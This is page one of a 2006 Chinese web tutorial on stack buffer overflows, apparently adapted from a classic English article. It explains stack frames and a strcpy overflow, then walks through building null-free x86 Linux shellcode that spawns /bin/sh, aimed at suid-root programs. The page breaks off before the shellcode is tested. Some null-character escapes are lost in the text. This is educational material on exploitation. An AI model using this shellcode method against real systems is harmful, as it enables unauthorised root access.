RSS
热门关键字:  时间 autorun AVG key 百度
当前位置 :| 首页 > 网络安全 > 后门技术 >

unix后门初级和高级知识

来源: 作者: 时间:2006-12-18 21:02:52 点击:

Buffer Overflow 机理剖析

使用Buffer Overflow 方法来入侵目的主机是黑客们经常采用的一种手段,本文将几篇介绍其机理的文章作了一些加工整理, 对它的机理作出了由浅入深的剖析.

本文分为下面几个部分, 朋友们可以按照自己的兴趣选择不同的章节:

关于堆栈的基础知识

Buffer Overflow 的原理

Shell Code 的编写

实际运用中遇到的问题

附录

1. 关于堆栈的基础知识

一个应用程序在运行时,它在内存中的映像可以分为三个部分: 代码段 , 数据段和堆栈段(参见下图). 代码段对应与运行文件中的 Text Section ,其中包括运行代码和只读数据, 这个段在内存中一般被标记为只读 , 任何企图修改这个段中数据的指令将引发一个 Segmentation Violation 错误. 数据段对应与运行文件中的 Data Section 和 BSS Section ,其中存放的是各种数据(经过初始化的和未经初始化的)和静态变量.

下面我们将详细介绍一下堆栈段.

|--------| 虚存低端

|        |

|  代码段   |

|        |

|--------|

|        |

|  数据段   |

|        |

|--------|

|        |

|  堆栈段   |

|        |

|--------| 虚存高端

堆栈是什么?

如果你学过<<数据结构>>这门课的话, 就会知道堆栈是一种计算机中经常用到的抽象数据类型. 作用于堆栈上的操作主要有两个: Push 和 Pop , 既压入和弹出. 堆栈的特点是LIFO(Last in , First out), 既最后压入堆栈的对象最先被弹出堆栈.

堆栈段的作用是什么?

现在大部分程序员都是在用高级语言进行模块化编程, 在这些应用程序中,不可避免地会出现各种函数调用, 比如调用C 运行库,Win32 API 等等. 这些调用大部分都被编译器编译为Call语句. 当CPU 在执行这条指令时, 除了将IP变为调用函数的入口点以外, 还要将调用后的返回地址放入堆栈. 这些函数调用往往还带有不同数量的入口参数和局部变量, 在这种情况下,编译器往往会生成一些指令将这些数据也存入堆栈(有些也可通过寄存器传递).

我们将一个函数调用在堆栈中存放的这些数据和返回地址称为一个栈帧(Stack Frame).

 

栈帧的结构:

  下面我们通过一个简单的例子来分析一下栈帧的结构.

void proc(int i)

{

 int local;

 local=i;

}

void main()

{

 proc(1);

}

这段代码经过编译器后编译为:(以PC为例)

main:push 1

   call  proc

   ...

proc:push ebp

   mov ebp,esp

   sub esp,4

   mov eax,[ebp+08]

   mov [ebp-4],eax

   add esp,4

   pop ebp

   ret 4

下面我们分析一下这段代码.

main:push 1

   call proc

首先, 将调用要用到的参数1压入堆栈,然后call proc

proc:push ebp

   mov ebp,esp

我们知道esp指向堆栈的顶端,在函数调用时,各个参数和局部变量在堆栈中的位置只和esp有关系,如可通过[esp+4]存取参数1. 但随着程序的运行,堆栈中放入了新的数据,esp也随之变化,这时就不能在通过[esp+4]来存取1了. 因此, 为了便于参数和变量的存取, 编译器又引入了一个基址寄存器ebp, 首先将ebp的原值存入堆栈,然后将esp的值赋给ebp,这样以后就可以一直使用[ebp+8]来存取参数1了.

   sub esp,4

将esp减4,留出一个int的位置给局部变量 local 使用, local可通过[ebp-4]来存取

   mov eax,[ebp+08]

   mov [ebp-4],eax

就是 local=i;

   add esp,4

   pop ebp

   ret 4

首先esp加4,收回局部变量的空间,然后pop ebp, 恢复ebp原值,最后 ret 4,从堆栈中取得返回地址,将EIP改为这个地址,并且将esp加4,收回参数所占的空间.

不难看出,这个程序在执行proc过程时,栈帧的结构如下:

 4    4    4    4

[local] [ebp] [ret地址] [参数1] 内存高端

|    |

esp(栈顶)ebp

因此,我们可以总结出一般栈帧的结构:

..[local1][local2]..[localn][ebp][ret地址][参数1][参数2]..[参数n]

|                |

esp(栈顶)            ebp

了解了栈帧的结构以后,现在我们可以来看一下 Buffer overflow 的机理了.

 2. Buffer Overflow 的机理

我们先举一个例子说明一下什么是 Buffer Overflow :

void function(char *str)

{

  char buffer[16];

  strcpy(buffer,str);

}

void main()

{

  char large_string[256];

  int i;

  for( i = 0; i < 255; i++)

  large_string[i] = 'A';

  function(large_string);

}

这段程序中就存在 Buffer Overflow 的问题. 我们可以看到, 传递给function的字符串长度要比buffer大很多,而function没有经过任何长度校验直接用strcpy将长字符串拷入buffer. 如果你执行这个程序的话,系统会报告一个 Segmentation Violation 错误.下面我们就来分析一下为什么会这样?

首先我们看一下未执行strcpy时堆栈中的情况:

   16   4   4     4

...[buffer] [ebp] [ret地址] [large_string地址]

|      |

esp     ebp

当执行strcpy时, 程序将256 Bytes拷入buffer中,但是buffer只能容纳16 Bytes,那么这时会发生什么情况呢? 因为C语言并不进行边界检查, 所以结果是buffer后面的250字节的内容也被覆盖掉了,这其中自然也包括ebp, ret地址 ,large_string地址.因为此时ret地址变成了0x41414141h ,所以当过程结束返回时,它将返回到0x41414141h地址处继续执行,但由于这个地址并不在程序实际使用的虚存空间范围内,所以系统会报 Segmentation Violation.

从上面的例子中不难看出,我们可以通过Buffer Overflow来改变在堆栈中存放的过程返回地址,从而改变整个程序的流程,使它转向任何我们想要它去的地方.这就为黑客们提供了可乘之机, 最常见的方法是: 在长字符串中嵌入一段代码,并将过程的返回地址覆盖为这段代码的地址, 这样当过程返回时,程序就转而开始执行这段我们自编的代码了. 一般来说,这段代码都是执行一个Shell程序(如insh),因为这样的话,当我们入侵一个带有Buffer Overflow缺陷且具有suid-root属性的程序时,我们会获得一个具有root权限的shell,在这个shell中我们可以干任何事. 因此, 这段代码一般被称为Shell Code.

下面我们就来看一下如何编写Shell Code.

 

--------------------------------------------------------------------------------

3. Shell Code 的编写

下面是一个创建Shell的C程序shellcode.c: (本文以IntelX86上的Linux为例说明)

void main() {

  char *name[2];

  name[0] = "/bin/sh";

  name[1] = NULL;

  execve(name[0], name, NULL);

}

我们先将它编译为执行代码,然后再用gdb来分析一下.(注意编译时要用-static选项,否则execve的代码将不会放入执行代码,而是作为动态链接在运行时才链入.)

------------------------------------------------------------------------------

[aleph1] $ gcc -o shellcode -ggdb -static shellcode.c

[aleph1] $ gdb shellcode

GDB is free software and you are welcome to distribute copies of it

under certain conditions; type "show copying" to see the conditions.

There is absolutely no warranty for GDB; type "show warranty" for details.

GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...

(gdb) disassemble main

Dump of assembler code for function main:

0x8000130 <main>: pushl %ebp

0x8000131 <main+1>: movl %esp,%ebp

0x8000133 <main+3>: subl  $0x8,%esp

0x8000136 <main+6>: movl  $0x80027b8,0xfffffff8(%ebp)

0x800013d <main+13>: movl  $0x0,0xfffffffc(%ebp)

0x8000144 <main+20>: pushl  $0x0

0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax

0x8000149 <main+25>: pushl %eax

0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax

0x800014d <main+29>: pushl %eax

0x800014e <main+30>: call 0x80002bc <__execve>

0x8000153 <main+35>: addl  $0xc,%esp

0x8000156 <main+38>: movl %ebp,%esp

0x8000158 <main+40>: popl %ebp

0x8000159 <main+41>: ret

End of assembler dump.

(gdb) disassemble __execve

Dump of assembler code for function __execve:

0x80002bc <__execve>: pushl %ebp

0x80002bd <__execve+1>: movl %esp,%ebp

0x80002bf <__execve+3>: pushl %ebx

0x80002c0 <__execve+4>: movl  $0xb,%eax

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

0x80002ce <__execve+18>: int  $0x80

0x80002d0 <__execve+20>: movl %eax,%edx

0x80002d2 <__execve+22>: testl %edx,%edx

0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>

0x80002d6 <__execve+26>: negl %edx

0x80002d8 <__execve+28>: pushl %edx

0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>

0x80002de <__execve+34>: popl %edx

0x80002df <__execve+35>: movl %edx,(%eax)

0x80002e1 <__execve+37>: movl  $0xffffffff,%eax

0x80002e6 <__execve+42>: popl %ebx

0x80002e7 <__execve+43>: movl %ebp,%esp

0x80002e9 <__execve+45>: popl %ebp

0x80002ea <__execve+46>: ret

0x80002eb <__execve+47>: nop

End of assembler dump.

下面我们来首先来分析一下main代码中每条语句的作用:

0x8000130 <main>: pushl %ebp

0x8000131 <main+1>: movl %esp,%ebp

0x8000133 <main+3>: subl  $0x8,%esp

这跟前面的例子一样,也是一段函数的入口处理,保存以前的栈帧指针,更新栈帧指针,最后为局部变量留出空间.在这里,局部变量为:

char *name[2];

也就是两个字符指针.每个字符指针占用4个字节,所以总共留出了 8 个字节的位置.

0x8000136 <main+6>: movl  $0x80027b8,0xfffffff8(%ebp)

这里, 将字符串"/bin/sh"的地址放入name[0]的内存单元中, 也就是相当于 :

name[0] = "/bin/sh";

0x800013d <main+13>: movl  $0x0,0xfffffffc(%ebp)

将NULL放入name[1]的内存单元中, 也就是相当于:

name[1] = NULL;

对execve()的调用从下面开始:

0x8000144 <main+20>: pushl  $0x0

开始将参数以逆序压入堆栈, 第一个是NULL.

0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax

0x8000149 <main+25>: pushl %eax

将name[]的起始地址压入堆栈

0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax

0x800014d <main+29>: pushl %eax

将字符串"/bin/sh"的地址压入堆栈

0x800014e <main+30>: call 0x80002bc <__execve>

调用execve() . call 指令首先将 EIP 压入堆栈

现在我们再来看一下execve()的代码. 首先要注意的是, 不同的操作系统,不同的CPU,他们产生系统调用的方法也不尽相同. 有些使用软中断,有些使用远程调用.从参数传递的角度来说,有些使用寄存器,有些使用堆栈.

我们的这个例子是在基于Intel X86的Linux上运行的.所以我们首先应该知道Linux中,系统调用以软中断的方式产生( INT 80h),参数是通过寄存器传递给系统的.

0x80002bc <__execve>:  pushl %ebp

0x80002bd <__execve+1>: movl %esp,%ebp

0x80002bf <__execve+3>: pushl %ebx

同样的入口处理

0x80002c0 <__execve+4>: movl  $0xb,%eax

将0xb(11)赋给eax , 这是execve()在系统中的索引号.

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx

将字符串"/bin/sh"的地址赋给ebx

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx

将name[]的地址赋给ecx

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx

将NULL的地址赋给edx

0x80002ce <__execve+18>: int  $0x80

产生系统调用,进入核心态运行.

看了上面的代码,现在我们可以把它精简为下面的汇编语言程序:

leal string,string_addr

movl  $0x0,null_addr

movl  $0xb,%eax

movl string_addr,%ebx

leal string_addr,%ecx

leal null_string,%edx

int  $0x80

(我对Linux的汇编语言格式了解不多,所以这几句使用的是DOS汇编语言的格式)

string db "/bin/sh",0

string_addr dd 0

null_addr  dd 0

但是这段代码中还存在着一个问题 ,就是我们在编写ShellCode时并不知道这段程序执行时在内存中所处的位置,所以像:

movl string_addr,%ebx

这种需要将绝对地址编码进机器语言的指令根本就没法使用.

解决这个问题的一个办法就是使用一条额外的JMP和CALL指令. 因为这两条指令编码使用的都是 相对于IP的偏移地址而不是绝对地址, 所以我们可以在ShellCode的最开始加入一条JMP指令, 在string前加入一条CALL指令. 只要我们计算好程序编码的字节长度,就可以使JMP指令跳转到CALL指令处执行,而CALL指令则指向JMP的下一条指令,因为在执行CALL指令时, CPU会将返回地址(在这里就是string的地址)压入堆栈,所以这样我们就可以在运行时获得string的绝对地址.通过这个地址加偏移的间接寻址方法,我们还可以很方便地存取string_addr和null_addr.

经过上面的修改,我们的ShellCode变成了下面的样子:

jmp 0x20

popl esi

movb  $0x0,0x7(%esi)

movl %esi,0x8(%esi)

movl  $0x0,0xC(%esi)

movl  $0xb,%eax

movl %esi,%ebx

leal 0x8(%esi),%ecx

leal 0xC(%esi),%edx

int  $0x80

call -0x25

string db "/bin/sh",0

string_addr dd 0

null_addr  dd 0 # 2 bytes,跳转到CALL

# 1 byte, 弹出string地址

# 4 bytes,将string变为以''结尾的字符串

# 7 bytes

# 5 bytes

# 2 bytes

# 3 bytes

# 3 bytes

# 2 bytes

# 5 bytes,跳转到popl %esi

 我们知道C语言中的字符串以''结尾,strcpy等函数遇到''就结束运行.因此为了保证我们的ShellCode能被完整地拷贝到Buffer中,ShellCode中一定不能含有''. 下面我们就对它作最后一次改进,去掉其中的'':

原指令:          替换为:

--------------------------------------------------------

movb  $0x0,0x7(%esi)    xorl %eax,%eax

movl  $0x0,0xc(%esi)    movb %eax,0x7(%esi)

               movl %eax,0xc(%esi)

--------------------------------------------------------

movl  $0xb,%eax       movb  $0xb,%al

--------------------------------------------------------

OK! 现在我们可以试验一下这段ShellCode了. 首先我们把它封装为C语言的形式.

------------------------------------------------------------------------------

上一页 1 2 3 4 5 6 下一页
最新评论共有 位网友发表了评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
验证码:
匿名?